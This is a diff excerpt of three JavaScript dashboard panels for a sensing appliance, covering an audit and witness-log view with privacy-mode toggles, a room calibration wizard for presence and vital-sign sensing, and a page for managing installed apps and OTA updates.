// Persistent privacy-mode banner (aggregate + per-SEED), the unified
|
||||
// two-tier witness timeline (SEED SHA-256 chain + homecore Ed25519
|
||||
// chain merged chronologically), paginated 12-at-a-time, and a
|
||||
// regulated-deployment attestation-bundle export. Privacy-mode toggles
|
||||
// are high-stakes and gated behind an explicit inline confirm (§6 honesty
|
||||
// — never silently mutate what a SEED publishes).
|
||||
|
||||
import { h, clear, card, pill, statusPill, sectionHeader, mono, button, banner, relTime } from '../ui.js';
|
||||
|
||||
const PAGE_SIZE = 12;
|
||||
|
||||
export default {
|
||||
meta: { title: 'Audit' },
|
||||
async render(root, ctx) {
|
||||
const { api } = ctx;
|
||||
|
||||
root.appendChild(sectionHeader('Witness / Audit Log', 'Two-tier provenance — SEED SHA-256 store chain + homecore Ed25519 state chain'));
|
||||
if (api.isDemo('audit')) root.appendChild(banner('DEMO — contract-conformant witness data until the live audit endpoint lands (ADR-131 §7.1).', 'amber'));
|
||||
|
||||
// Async data accessors now return Promises (api.js). Wrap the initial
|
||||
// loads in try/catch; on failure surface the typed audit/witness banner
|
||||
// (§12 W5 distinguishes "not yet wired" upstreams) and bail.
|
||||
let modes;
|
||||
let firstPage;
|
||||
try {
|
||||
modes = (await api.privacyModes()).map((m) => ({ ...m }));
|
||||
firstPage = await api.witnessLog(0, PAGE_SIZE);
|
||||
} catch (e) {
|
||||
root.appendChild(banner('Audit/witness unavailable — ' + (e.message || e)
|
||||
+ (e.upstreamUnavailable ? ' (witness aggregation not yet wired — ADR-131 §12 W5)' : ''), 'red'));
|
||||
return () => {};
|
||||
}
|
||||
|
||||
const privacyHost = h('div');
|
||||
root.appendChild(privacyHost);
|
||||
const renderPrivacy = () => { clear(privacyHost); privacyHost.appendChild(privacyCard(modes, renderPrivacy)); };
|
||||
renderPrivacy();
|
||||
|
||||
// Unified timeline — its own host so pagination re-renders in place.
|
||||
const timelineHost = h('div');
|
||||
root.appendChild(timelineHost);
|
||||
|
||||
let page = firstPage.page;
|
||||
// Pagination Prev/Next re-fetch the new page (await) and re-render in place.
|
||||
const renderTimeline = async (res) => {
|
||||
page = res.page;
|
||||
clear(timelineHost);
|
||||
timelineHost.appendChild(timelineCard(res,
|
||||
async () => {
|
||||
if (page <= 0) return;
|
||||
clear(timelineHost);
|
||||
timelineHost.appendChild(h('.muted-empty', 'Loading witness chain…'));
|
||||
try { await renderTimeline(await api.witnessLog(page - 1, PAGE_SIZE)); }
|
||||
catch (e) { clear(timelineHost); timelineHost.appendChild(banner('Audit/witness unavailable — ' + (e.message || e) + (e.upstreamUnavailable ? ' (witness aggregation not yet wired — ADR-131 §12 W5)' : ''), 'red')); }
|
||||
},
|
||||
async (last) => {
|
||||
if (last) return;
|
||||
clear(timelineHost);
|
||||
timelineHost.appendChild(h('.muted-empty', 'Loading witness chain…'));
|
||||
try { await renderTimeline(await api.witnessLog(page + 1, PAGE_SIZE)); }
|
||||
catch (e) { clear(timelineHost); timelineHost.appendChild(banner('Audit/witness unavailable — ' + (e.message || e) + (e.upstreamUnavailable ? ' (witness aggregation not yet wired — ADR-131 §12 W5)' : ''), 'red')); }
|
||||
}));
|
||||
};
|
||||
await renderTimeline(firstPage);
|
||||
|
||||
// Attestation bundle export.
|
||||
root.appendChild(exportCard());
|
||||
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
|
||||
// ── Privacy mode (aggregate banner + per-SEED rows + gated toggle) ─────
|
||||
function privacyCard(modes, rerender) {
|
||||
const allPublish = modes.every((m) => m.mode === 'full-publish');
|
||||
const anyAudit = modes.some((m) => m.mode === 'audit-only');
|
||||
|
||||
const top = allPublish
|
||||
? banner('Full-publish mode — SEED state changes are published over MQTT.', 'green')
|
||||
: banner('Audit-only mode (SHA-256 digests on-SEED only, no MQTT state messages).', 'amber');
|
||||
|
||||
const list = h('div');
|
||||
modes.forEach((m, i) => list.appendChild(privacyRow(m, modes, rerender, i)));
|
||||
|
||||
return card({
|
||||
title: 'Privacy mode',
|
||||
children: [
|
||||
top,
|
||||
h('.t2.mt', 'Per-SEED configuration — each SEED chooses independently what leaves the device.'),
|
||||
list,
|
||||
],
|
||||
});
|
||||
}
|
||||
|
||||
function privacyRow(m, modes, rerender, idx) {
|
||||
const isPublish = m.mode === 'full-publish';
|
||||
const modePill = pill(m.mode, isPublish ? 'green' : 'amber');
|
||||
|
||||
// The confirm step lives inline beneath the row; only one at a time.
|
||||
const confirmHost = h('div');
|
||||
|
||||
const toggleBtn = button('Toggle privacy mode', {
|
||||
variant: 'ghost',
|
||||
onClick: () => {
|
||||
clear(confirmHost);
|
||||
confirmHost.appendChild(confirmStep(m, modes, rerender, confirmHost));
|
||||
},
|
||||
});
|
||||
|
||||
const wrap = h('div',
|
||||
h('.row',
|
||||
h('span.flex.gap-sm', mono(m.seed), modePill),
|
||||
toggleBtn),
|
||||
confirmHost);
|
||||
return wrap;
|
||||
}
|
||||
|
||||
function confirmStep(m, modes, rerender, confirmHost) {
|
||||
const target = m.mode === 'full-publish' ? 'audit-only' : 'full-publish';
|
||||
const summary = target === 'audit-only'
|
||||
? `${m.seed} will STOP publishing state changes over MQTT — only on-SEED SHA-256 digests remain.`
|
||||
: `${m.seed} will START publishing state changes over MQTT (full state values leave the device).`;
|
||||
|
||||
const confirmBtn = button('Confirm', {
|
||||
variant: 'primary',
|
||||
onClick: () => {
|
||||
const live = modes.find((x) => x.seed === m.seed);
|
||||
if (live) live.mode = target;
|
||||
rerender();
|
||||
},
|
||||
});
|
||||
const cancelBtn = button('Cancel', { variant: 'ghost', onClick: () => clear(confirmHost) });
|
||||
|
||||
return card({
|
||||
tint: target === 'audit-only' ? 'amber' : null,
|
||||
children: [
|
||||
h('.t2', h('span', 'Switch '), mono(m.seed), h('span', ` → ${target}?`)),
|
||||
h('.mt', summary),
|
||||
h('.flex.gap-sm.mt', confirmBtn, cancelBtn),
|
||||
],
|
||||
});
|
||||
}
|
||||
|
||||
// ── Unified two-tier witness timeline ──────────────────────────────────
|
||||
function timelineCard(res, onPrev, onNext) {
|
||||
const { items, page, size, total } = res;
|
||||
const lastPage = Math.max(0, Math.ceil(total / size) - 1);
|
||||
const isLast = page >= lastPage;
|
||||
|
||||
const head = h('.row',
|
||||
h('span.k', 'entity · old → new · when · tier · source SEED · key'),
|
||||
h('span.t2', `merged chronological — both chains`));
|
||||
|
||||
const body = h('div');
|
||||
if (!items.length) body.appendChild(h('.muted-empty', 'No witness entries.'));
|
||||
items.forEach((it) => body.appendChild(witnessRow(it)));
|
||||
|
||||
const from = total === 0 ? 0 : page * size + 1;
|
||||
const to = Math.min(total, page * size + items.length);
|
||||
const pager = h('.flex.spread.mt',
|
||||
h('span.t2', `Showing ${from}–${to} of ${total}`),
|
||||
h('span.flex.gap-sm',
|
||||
button('‹ Prev', { variant: 'ghost', onClick: onPrev, disabled: page <= 0 }),
|
||||
button('Next ›', { variant: 'ghost', onClick: () => onNext(isLast), disabled: isLast })));
|
||||
|
||||
return card({ title: 'Witness timeline', children: [head, body, pager] });
|
||||
}
|
||||
|
||||
function witnessRow(it) {
|
||||
const seedTier = it.tier === 'seed-sha256';
|
||||
const tierPill = pill(it.tier, seedTier ? 'cyan' : 'purple');
|
||||
|
||||
// old → new. SEED-tier writes have no prior state and a sha256 digest as
|
||||
// the "new" value — render the digest mono so it reads as a hash, not state.
|
||||
const transition = h('span.flex.gap-sm',
|
||||
h('span.mono.t2', it.old_state == null ? '∅' : it.old_state),
|
||||
h('span.t3', '→'),
|
||||
h('span.mono', it.new_state == null ? '∅' : it.new_state));
|
||||
|
||||
return h('.row',
|
||||
h('span.flex.gap-sm.wrap',
|
||||
mono(it.entity_id),
|
||||
transition),
|
||||
h('span.flex.gap-sm.wrap',
|
||||
h('span.t2', relTime(it.ts)),
|
||||
tierPill,
|
||||
mono(it.seed),
|
||||
h('span.mono.t3', keyFp(it.key_fp))));
|
||||
}
|
||||
|
||||
function keyFp(fp) {
|
||||
if (!fp) return '—';
|
||||
return String(fp).slice(0, 8) + '…';
|
||||
}
|
||||
|
||||
// ── Attestation bundle export (regulated-deployment compliance) ────────
|
||||
function exportCard() {
|
||||
const status = h('.t2.mt');
|
||||
const btn = button('Export attestation bundle', {
|
||||
variant: 'ghost',
|
||||
onClick: () => {
|
||||
clear(status);
|
||||
status.appendChild(h('span.green',
|
||||
'Bundle prepared — SEED SHA-256 store chain + homecore Ed25519 state chain packaged for compliance handoff.'));
|
||||
},
|
||||
});
|
||||
return card({
|
||||
title: 'Attestation bundle',
|
||||
children: [
|
||||
h('.t2', 'Packages both witness chains (SEED SHA-256 + homecore Ed25519) for regulated-deployment compliance handoff.'),
|
||||
h('.mt', btn),
|
||||
status,
|
||||
],
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,256 @@
|
||||
// §4.7 Calibration Wizard — baseline → enroll → train → verify.
|
||||
// Stepped wizard (1–5) against the ADR-151 calibration HTTP API.
|
||||
|
||||
import { h, clear, card, pill, statusPill, sectionHeader, bar, banner, button, mono } from '../ui.js';
|
||||
|
||||
export default {
|
||||
meta: { title: 'Calibration' },
|
||||
async render(root, ctx) {
|
||||
const { api } = ctx;
|
||||
const cal = api.calibration;
|
||||
const state = { step: 1, room_id: '', seed: '', baseline_id: null, anchorIdx: 0, trainResult: null };
|
||||
// Track the active baseline poll so it can be cancelled on Restart, on a
|
||||
// step change, and when the panel itself is torn down (the router only
|
||||
// calls the cleanup this render() returns — a per-card _cleanup was never
|
||||
// invoked, leaking the setTimeout loop).
|
||||
let activePoll = null;
|
||||
function stopPoll() {
|
||||
if (activePoll) { activePoll.cancelled = true; if (activePoll.timer) clearTimeout(activePoll.timer); activePoll = null; }
|
||||
}
|
||||
|
||||
root.appendChild(sectionHeader('Calibration Wizard', 'baseline → enroll → train → verify'));
|
||||
if (cal.demo) root.appendChild(banner('DEMO — cog-calibration HTTP API (ADR-151) simulated in-browser; the live service replaces this (§7.1).', 'amber'));
|
||||
const stepper = h('.stepper');
|
||||
const body = h('div');
|
||||
root.appendChild(stepper);
|
||||
root.appendChild(body);
|
||||
|
||||
const STEPS = ['Select', 'Baseline', 'Enroll', 'Train', 'Verify'];
|
||||
function paintStepper() {
|
||||
clear(stepper);
|
||||
STEPS.forEach((s, i) => {
|
||||
const n = i + 1;
|
||||
const cls = n === state.step ? 'active' : (n < state.step ? 'done' : '');
|
||||
stepper.appendChild(h('.step-pill' + (cls ? '.' + cls : ''), h('span.n', n < state.step ? '✓' : String(n)), s));
|
||||
});
|
||||
}
|
||||
function go(step) { stopPoll(); state.step = step; paintStepper(); render(); }
|
||||
function render() {
|
||||
clear(body);
|
||||
if (state.step === 1) body.appendChild(step1());
|
||||
else if (state.step === 2) body.appendChild(step2());
|
||||
else if (state.step === 3) body.appendChild(step3());
|
||||
else if (state.step === 4) body.appendChild(step4());
|
||||
else body.appendChild(step5());
|
||||
}
|
||||
|
||||
// ── Step 1 — select room + SEED ────────────────────────────────
|
||||
function step1() {
|
||||
const roomInput = h('input.search', { placeholder: 'room_id (A-Za-z0-9_- , 1–64)', value: state.room_id });
|
||||
const seedSel = h('select.inline');
|
||||
const warn = h('div');
|
||||
let seedList = [];
|
||||
(async () => {
|
||||
try { seedList = (await api.seeds()).filter((s) => s.online); }
|
||||
catch (e) { warn.appendChild(banner('SEED fleet unavailable — ' + (e.message || e), 'red')); }
|
||||
seedList.forEach((s) => seedSel.appendChild(h('option', { value: s.device_id }, `${s.device_id} (${s.zone})`)));
|
||||
})();
|
||||
const validate = () => {
|
||||
const ok = /^[A-Za-z0-9_-]{1,64}$/.test(roomInput.value);
|
||||
const seed = seedList.find((s) => s.device_id === seedSel.value);
|
||||
clear(warn);
|
||||
if (!ok) warn.appendChild(banner('room_id must match [A-Za-z0-9_-]{1,64}', 'red'));
|
||||
else if (seed && seed.frame_rate_hz < 80) warn.appendChild(banner(`CSI ingest low (${seed.frame_rate_hz} Hz) — a broken pipeline silently fails calibration`, 'amber'));
|
||||
return ok;
|
||||
};
|
||||
roomInput.addEventListener('input', validate);
|
||||
seedSel.addEventListener('change', validate);
|
||||
return card({
|
||||
title: 'Step 1 — Select room and SEED', children: [
|
||||
h('h3', 'room_id'), roomInput,
|
||||
h('h3.mt', 'Serving SEED'), seedSel, warn,
|
||||
h('.mt', button('Next', { variant: 'primary', onClick: () => { if (validate()) { state.room_id = roomInput.value; state.seed = seedSel.value; go(2); } } })),
|
||||
],
|
||||
});
|
||||
}
|
||||
|
||||
// ── Step 2 — baseline capture ──────────────────────────────────
|
||||
function step2() {
|
||||
const progress = h('.bar', { style: { height: '14px' } }, h('span'));
|
||||
const meta = h('.t2.mt');
|
||||
const baselineLine = h('div');
|
||||
const c = card({
|
||||
title: 'Step 2 — Baseline capture (room must be empty)', children: [
|
||||
progress, meta, baselineLine,
|
||||
h('.mt', button('Restart', {
|
||||
variant: 'ghost',
|
||||
// Cancel the in-flight poll loop (was leaked before), reset the
|
||||
// session, and start a fresh capture.
|
||||
onClick: () => { stopPoll(); cal.reset(); clear(baselineLine); startCapture(); },
|
||||
})),
|
||||
],
|
||||
});
|
||||
|
||||
// Single-flight: stopPoll() before (re)arming guarantees one loop.
|
||||
function startCapture() {
|
||||
stopPoll();
|
||||
const session = { cancelled: false, timer: null };
|
||||
activePoll = session;
|
||||
(async () => {
|
||||
let startRes;
|
||||
try { startRes = await cal.start(); }
|
||||
catch (e) { clear(meta); meta.appendChild(banner('Baseline start failed — ' + (e.message || e), 'red')); return; }
|
||||
if (session.cancelled) return;
|
||||
state.baseline_id = (startRes && startRes.baseline_id) || state.baseline_id;
|
||||
const loop = async () => {
|
||||
if (session.cancelled) return;
|
||||
let st;
|
||||
try { st = await cal.status(); }
|
||||
catch (e) { clear(meta); meta.appendChild(banner('Status unavailable — ' + (e.message || e), 'red')); return; }
|
||||
if (session.cancelled) return;
|
||||
progress.firstChild.style.width = pct(st.frames, st.target) + '%';
|
||||
clear(meta); meta.appendChild(document.createTextNode(`${st.frames}/${st.target} frames · ETA ${st.eta_s}s · z_median ${st.z_median}`));
|
||||
if (st.motion_flagged) { if (!c.querySelector('.banner')) c.insertBefore(banner('Room must be empty — movement detected', 'amber'), progress); }
|
||||
else { const b = c.querySelector('.banner'); if (b) b.remove(); }
|
||||
if (st.target > 0 && st.frames >= st.target) {
|
||||
activePoll = null;
|
||||
state.baseline_id = state.baseline_id || 'bl-unknown';
|
||||
clear(baselineLine);
|
||||
baselineLine.appendChild(h('.mt', h('span.green', 'Baseline complete · '), mono(state.baseline_id), h('span.t2', ' (record this — it anchors STALE detection)')));
|
||||
baselineLine.appendChild(h('.mt', button('Continue to enrollment', { variant: 'primary', onClick: () => go(3) })));
|
||||
return;
|
||||
}
|
||||
session.timer = setTimeout(loop, 600);
|
||||
};
|
||||
loop();
|
||||
})();
|
||||
}
|
||||
|
||||
startCapture();
|
||||
return c;
|
||||
}
|
||||
|
||||
// ── Step 3 — anchor enrollment ─────────────────────────────────
|
||||
function step3() {
|
||||
const anchors = cal.ANCHORS;
|
||||
const counter = h('h3', 'enrollment');
|
||||
const list = h('div');
|
||||
const current = h('div');
|
||||
async function paint() {
|
||||
let acc;
|
||||
try { acc = new Set(((await cal.enrollStatus()).accepted) || []); }
|
||||
catch (e) { clear(current); current.appendChild(banner('Enroll status unavailable — ' + (e.message || e), 'red')); acc = new Set(); }
|
||||
clear(counter); counter.appendChild(document.createTextNode(`${acc.size} / ${anchors.length} anchors accepted`));
|
||||
clear(list);
|
||||
anchors.forEach((label, i) => {
|
||||
list.appendChild(h('.row', mono(label),
|
||||
acc.has(label) ? pill('accepted', 'green') : (i === state.anchorIdx ? pill('current', 'cyan') : pill('pending', 'grey'))));
|
||||
});
|
||||
clear(current);
|
||||
const label = anchors[state.anchorIdx];
|
||||
if (!label) {
|
||||
current.appendChild(h('.mt', h('span.green', 'All anchors processed · '),
|
||||
button('Train specialists', { variant: 'primary', onClick: () => go(4) })));
|
||||
return;
|
||||
}
|
||||
current.appendChild(h('h3.mt', `Anchor: ${label}`));
|
||||
current.appendChild(h('.t2', instruction(label)));
|
||||
current.appendChild(h('.mt', button('Capture anchor', {
|
||||
variant: 'primary', onClick: async () => {
|
||||
let r;
|
||||
try { r = await cal.anchor(label); }
|
||||
catch (e) { current.appendChild(banner('Capture failed — ' + (e.message || e), 'red')); return; }
|
||||
const f = r.features;
|
||||
const res = h('.mt', r.accepted ? pill('accepted', 'green') : pill('retry', 'amber'),
|
||||
r.reason ? h('span.amber', ' ' + r.reason) : null,
|
||||
f ? h('.mono.t2.mt', `mean ${f.mean} · var ${f.variance} · breathing ${f.breathing_score} · heart ${f.heart_score}`) : null);
|
||||
current.appendChild(res);
|
||||
if (r.accepted) { state.anchorIdx++; setTimeout(paint, 700); }
|
||||
},
|
||||
})));
|
||||
}
|
||||
paint();
|
||||
return card({ title: 'Step 3 — Anchor enrollment', children: [counter, list, current] });
|
||||
}
|
||||
|
||||
// ── Step 4 — train ─────────────────────────────────────────────
|
||||
function step4() {
|
||||
const body4 = h('div', h('.muted-empty', 'Training…'));
|
||||
const c = card({ title: 'Step 4 — Train specialists', children: [body4] });
|
||||
(async () => {
|
||||
let r;
|
||||
try { r = await cal.train(state.room_id); }
|
||||
catch (e) { clear(body4); body4.appendChild(banner('Training failed — ' + (e.message || e), 'red')); return; }
|
||||
state.trainResult = r;
|
||||
clear(body4);
|
||||
const specs = [
|
||||
['presence', r.presence && `threshold ${r.presence.threshold} · var ${r.presence.occupied_var}`],
|
||||
['posture', r.posture && `${r.posture.prototypes} prototypes`],
|
||||
['breathing', r.breathing && `min_score ${r.breathing.min_score}`],
|
||||
['heartbeat', r.heartbeat && `min_score ${r.heartbeat.min_score}`],
|
||||
['restlessness', r.restlessness && `calm ${r.restlessness.calm} · active ${r.restlessness.active}`],
|
||||
['anomaly', r.anomaly && `${r.anomaly.prototypes} prototypes · scale ${r.anomaly.scale}`],
|
||||
];
|
||||
specs.forEach(([name, detail]) => {
|
||||
body4.appendChild(h('.row', mono(name),
|
||||
detail ? h('.flex.gap-sm', pill('trained', 'green'), h('span.t2', detail))
|
||||
: h('.flex.gap-sm', pill('null', 'amber'), button('Re-enroll missing anchors', { variant: 'ghost', onClick: () => go(3) }))));
|
||||
});
|
||||
body4.appendChild(h('.mt', button('Verify live', { variant: 'primary', onClick: () => go(5) })));
|
||||
})();
|
||||
return c;
|
||||
}
|
||||
|
||||
// ── Step 5 — verify live ───────────────────────────────────────
|
||||
function step5() {
|
||||
const rows = h('div', h('.muted-empty', 'Loading live RoomState…'));
|
||||
(async () => {
|
||||
let live;
|
||||
try {
|
||||
const all = await api.roomStates();
|
||||
live = all.find((r) => r.room_id === state.room_id) || all[0];
|
||||
} catch (e) { clear(rows); rows.appendChild(banner('Live RoomState unavailable — ' + (e.message || e), 'red')); return; }
|
||||
clear(rows);
|
||||
if (!live) { rows.appendChild(h('.muted-empty', 'No RoomState yet — give the room a moment after training.')); return; }
|
||||
rows.appendChild(h('.row', 'Presence', live.presence ? statusPill(live.presence.value) : h('span.t3', '—')));
|
||||
rows.appendChild(h('.row', 'Posture', live.posture ? statusPill(live.posture.value) : h('span.t3', '—')));
|
||||
rows.appendChild(h('.row', 'Breathing', h('span.cyan', live.breathing_bpm ? live.breathing_bpm.value + ' BPM' : '—')));
|
||||
rows.appendChild(h('.row', 'Heart rate', h('span.cyan', live.heart_bpm ? live.heart_bpm.value + ' BPM' : '—')));
|
||||
})();
|
||||
return card({
|
||||
title: 'Step 5 — Verify live', children: [
|
||||
h('.t2', 'Stand in the room to confirm presence; sit/lie to confirm posture; breathe normally to confirm vitals.'),
|
||||
rows,
|
||||
h('.flex.mt',
|
||||
button('Confirm and save', { variant: 'primary', onClick: () => { cal.reset && cal.reset(); ctx.navigate('#/rooms'); } }),
|
||||
button("Something's wrong — re-enroll", { variant: 'ghost', onClick: () => go(3) })),
|
||||
],
|
||||
});
|
||||
}
|
||||
|
||||
paintStepper();
|
||||
render();
|
||||
// The router invokes this on navigation away — tear down any live poll.
|
||||
return () => stopPoll();
|
||||
},
|
||||
};
|
||||
|
||||
// Guard against NaN%/Infinity% when target is 0/missing (§4.7 robustness).
|
||||
function pct(frames, target) {
|
||||
if (!(target > 0)) return 0;
|
||||
return Math.max(0, Math.min(100, (frames / target) * 100)).toFixed(0);
|
||||
}
|
||||
|
||||
function instruction(label) {
|
||||
const map = {
|
||||
empty: 'Leave the room empty and still.',
|
||||
stand_still: 'Stand still in the centre of the room.',
|
||||
sit: 'Sit down naturally.',
|
||||
lie_down: 'Lie down (bed/sofa).',
|
||||
breathe_slow: 'Breathe slowly and deeply.',
|
||||
breathe_normal: 'Breathe at your normal resting rate.',
|
||||
small_move: 'Make small fidgeting movements.',
|
||||
sleep_posture: 'Adopt your typical sleeping posture and stay still.',
|
||||
};
|
||||
return map[label] || label;
|
||||
}
|
||||
@@ -0,0 +1,194 @@
|
||||
// §4.6 v0 Appliance COG Management — ADR-131.
|
||||
// Installed COGs (start/stop/restart/logs/config + sha256+sig shield),
|
||||
// COG Store / App Registry (mirrors seed.cognitum.one/store), OTA
|
||||
// Updates diff panels, and Hailo HEF status. Mirrors the Cog Store
|
||||
// visual conventions (card layout, category pills, install/details pair).
|
||||
|
||||
import { h, clear, card, pill, statusPill, sectionHeader, mono, button, collapsible, banner } from '../ui.js';
|
||||
|
||||
export default {
|
||||
meta: { title: 'COGs' },
|
||||
async render(root, ctx) {
|
||||
const { api } = ctx;
|
||||
root.appendChild(sectionHeader('COGs', 'v0 Appliance COG runtime & OTA updates'));
|
||||
if (api.isDemo('cogs')) {
|
||||
root.appendChild(h('.banner.amber', 'COG management shows contract-conformant DEMO data until the live cog-supervisor endpoint lands (ADR-131 §7.1).'));
|
||||
}
|
||||
|
||||
let cogs, updates;
|
||||
try {
|
||||
cogs = await api.cogs();
|
||||
updates = await api.cogUpdates();
|
||||
} catch (e) {
|
||||
root.appendChild(banner('COG runtime unavailable — ' + (e.message || e) + (e.upstreamUnavailable ? ' (upstream not yet wired — ADR-131 §12)' : ''), 'red'));
|
||||
return () => {};
|
||||
}
|
||||
|
||||
// ── Installed COGs ─────────────────────────────────────────────
|
||||
root.appendChild(h('.flex.gap-sm', h('h2', 'Installed'), pill(String(cogs.length), 'cyan')));
|
||||
const installed = h('.grid.cols-2');
|
||||
cogs.forEach((c) => installed.appendChild(installedCogCard(c)));
|
||||
root.appendChild(installed);
|
||||
|
||||
// ── OTA Updates ────────────────────────────────────────────────
|
||||
root.appendChild(h('.flex.gap-sm.mt', h('h2', 'Updates'), pill(String(updates.length), updates.length ? 'amber' : 'grey')));
|
||||
if (!updates.length) {
|
||||
root.appendChild(card({ children: [h('.muted-empty', 'All COGs up to date.')] }));
|
||||
} else {
|
||||
updates.forEach((u) => root.appendChild(updateCard(u)));
|
||||
}
|
||||
|
||||
// ── Hailo HEF status ───────────────────────────────────────────
|
||||
// §6 honesty: the worker pill must reflect the REAL probe, not a
|
||||
// hardcoded "connected". Probe the appliance services for the
|
||||
// ruvector-hailo-worker; if that upstream is unavailable, show the
|
||||
// status as unknown rather than fabricating "connected".
|
||||
let workerStatus = 'unknown';
|
||||
try {
|
||||
const appliance = await api.appliance();
|
||||
const svc = (appliance.services || []).find((s) => s.name === 'ruvector-hailo-worker');
|
||||
if (svc && svc.status) workerStatus = svc.status;
|
||||
} catch { /* leave 'unknown' — honest not-available, never fabricated */ }
|
||||
|
||||
root.appendChild(h('h2.mt', 'Hailo-10H accelerator'));
|
||||
root.appendChild(hailoStatus(cogs, workerStatus));
|
||||
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
|
||||
// ── Installed COG card ───────────────────────────────────────────────
|
||||
function installedCogCard(c) {
|
||||
const verified = c.sha256_verified && c.signature_verified;
|
||||
const shield = h(`span.shield.${verified ? 'ok' : 'bad'}`, (verified ? '✓ ' : '✗ ') + 'verified');
|
||||
const archPill = c.arch === 'hailo10' ? pill('hailo10', 'purple') : pill('arm', 'cyan');
|
||||
|
||||
const body = h('div',
|
||||
h('.flex.spread',
|
||||
h('strong.mono', `${c.id} ${c.version}`),
|
||||
statusPill(c.status)),
|
||||
h('.flex.wrap.gap-sm.mt', archPill, shield,
|
||||
h('span.t2', 'PID '), mono(c.pid == null ? '—' : c.pid)));
|
||||
|
||||
if (c.status === 'failed' && c.error) {
|
||||
body.appendChild(h('.red.mt', { style: { fontFamily: 'var(--mono)', fontSize: '12px' } }, c.error));
|
||||
}
|
||||
|
||||
// action ghost buttons
|
||||
const actions = h('.flex.wrap.gap-sm.mt',
|
||||
button('Start', { onClick: () => {} }),
|
||||
button('Stop', { onClick: () => {} }),
|
||||
button('Restart', { onClick: () => {} }));
|
||||
body.appendChild(actions);
|
||||
|
||||
// View logs drawer
|
||||
const logDrawer = h('pre.log.mt.hidden', logText(c));
|
||||
let logsOpen = false;
|
||||
const logsBtn = button('View logs', {
|
||||
onClick: () => { logsOpen = !logsOpen; logDrawer.classList.toggle('hidden', !logsOpen); logsBtn.textContent = logsOpen ? 'Hide logs' : 'View logs'; },
|
||||
});
|
||||
actions.appendChild(logsBtn);
|
||||
|
||||
// Edit config.json drawer (textarea, no persistence)
|
||||
const cfgArea = h('textarea.json.mt.hidden', { rows: 8, spellcheck: 'false' });
|
||||
cfgArea.value = configJson(c);
|
||||
let cfgOpen = false;
|
||||
const cfgBtn = button('Edit config.json', {
|
||||
onClick: () => { cfgOpen = !cfgOpen; cfgArea.classList.toggle('hidden', !cfgOpen); cfgBtn.textContent = cfgOpen ? 'Close config' : 'Edit config.json'; },
|
||||
});
|
||||
actions.appendChild(cfgBtn);
|
||||
|
||||
body.appendChild(logDrawer);
|
||||
body.appendChild(cfgArea);
|
||||
|
||||
return card({ tint: c.status === 'failed' ? 'red' : null, children: [body] });
|
||||
}
|
||||
|
||||
function logText(c) {
|
||||
if (c.status === 'failed' && c.error) {
|
||||
return [
|
||||
`[error] ${c.id} v${c.version} exited`,
|
||||
`[error] ${c.error}`,
|
||||
`[info] supervisor: marking ${c.id} failed; PID was ${c.pid == null ? 'none' : c.pid}`,
|
||||
].join('\n');
|
||||
}
|
||||
if (c.status === 'stopped') {
|
||||
return `[info] ${c.id} v${c.version} stopped by operator\n[info] supervisor: PID released`;
|
||||
}
|
||||
return [
|
||||
`[info] ${c.id} v${c.version} running (pid ${c.pid})`,
|
||||
`[info] arch=${c.arch} sha256_verified=${c.sha256_verified} signature_verified=${c.signature_verified}`,
|
||||
c.arch === 'hailo10' ? `[info] hailo: ${asArray(c.hef).join(', ') || 'no HEF loaded'} @ ${c.throughput_fps || '—'} fps` : '[info] cpu-only worker, no Hailo offload',
|
||||
'[info] heartbeat ok',
|
||||
].join('\n');
|
||||
}
|
||||
|
||||
function configJson(c) {
|
||||
const cfg = {
|
||||
id: c.id,
|
||||
version: c.version,
|
||||
arch: c.arch,
|
||||
autostart: c.status !== 'stopped',
|
||||
};
|
||||
if (c.arch === 'hailo10') {
|
||||
cfg.hef = asArray(c.hef);
|
||||
cfg.target_fps = c.throughput_fps || null;
|
||||
}
|
||||
return JSON.stringify(cfg, null, 2);
|
||||
}
|
||||
|
||||
// Coerce a forwarded manifest `hef` (array | string | object | null) into an
|
||||
// array so a non-array value degrades gracefully instead of throwing on
|
||||
// .forEach/.join/.length (the gateway forwards it verbatim — §11).
|
||||
function asArray(v) {
|
||||
if (Array.isArray(v)) return v;
|
||||
if (v == null || v === '') return [];
|
||||
return [v];
|
||||
}
|
||||
|
||||
// ── OTA update diff card ─────────────────────────────────────────────
|
||||
function updateCard(u) {
|
||||
const diff = h('div',
|
||||
h('.flex.gap-sm',
|
||||
h('strong.mono', u.id),
|
||||
mono(u.from), h('span.t3', '→'), h('span.mono.green', u.to)),
|
||||
diffList('New entities', u.new_entities, 'green'),
|
||||
diffList('Config changes', u.config_changes, 'amber'),
|
||||
h('.flex.gap-sm.mt',
|
||||
button('Update', { variant: 'primary', onClick: () => {} }),
|
||||
button('Skip', { onClick: () => {} })));
|
||||
return card({ children: [diff] });
|
||||
}
|
||||
|
||||
function diffList(title, items, color) {
|
||||
if (!items || !items.length) return null;
|
||||
const list = h('div.mt', h('h3', title));
|
||||
items.forEach((e) => list.appendChild(h('.row', h(`span.mono.${color}`, e))));
|
||||
return list;
|
||||
}
|
||||
|
||||
// ── Hailo HEF status ─────────────────────────────────────────────────
|
||||
function hailoStatus(cogs, workerStatus = 'unknown') {
|
||||
const hailoCogs = cogs.filter((c) => c.arch === 'hailo10');
|
||||
// statusPill maps 'running'/'connected'→green, 'unreachable'/'error'→red,
|
||||
// 'unknown'→grey; the real probe drives the colour, never a hardcode.
|
||||
const worker = h('.flex.gap-sm', statusPill(workerStatus), h('span.mono.t2', 'ruvector-hailo-worker:50051'));
|
||||
const body = h('div', worker);
|
||||
|
||||
if (!hailoCogs.length) {
|
||||
body.appendChild(h('.muted-empty', 'No Hailo-sourced COGs loaded.'));
|
||||
} else {
|
||||
hailoCogs.forEach((c) => {
|
||||
const hef = asArray(c.hef); // gateway forwards manifest `hef` verbatim — may be a string
|
||||
const hefRows = h('div',
|
||||
h('.flex.spread', h('strong.mono', `${c.id} ${c.version}`), pill((c.throughput_fps || 0) + ' fps', 'purple')));
|
||||
hef.forEach((f) => hefRows.appendChild(h('.row', h('span.mono.purple', f), h('span.t2', 'loaded'))));
|
||||
if (!hef.length) hefRows.appendChild(h('.muted-empty', 'no .hef files loaded'));
|
||||
body.appendChild(h('.mt', hefRows));
|
||||
});
|
||||
}
|
||||
|
||||
body.appendChild(h('.t3.mt', { style: { fontSize: '12px' } },
|
||||
'RF Foundation Encoder (ADR-150) will appear here once available.'));
|
||||
return card({ children: [body] });
|
||||
}
|
||||
@@ -0,0 +1,153 @@
|
||||
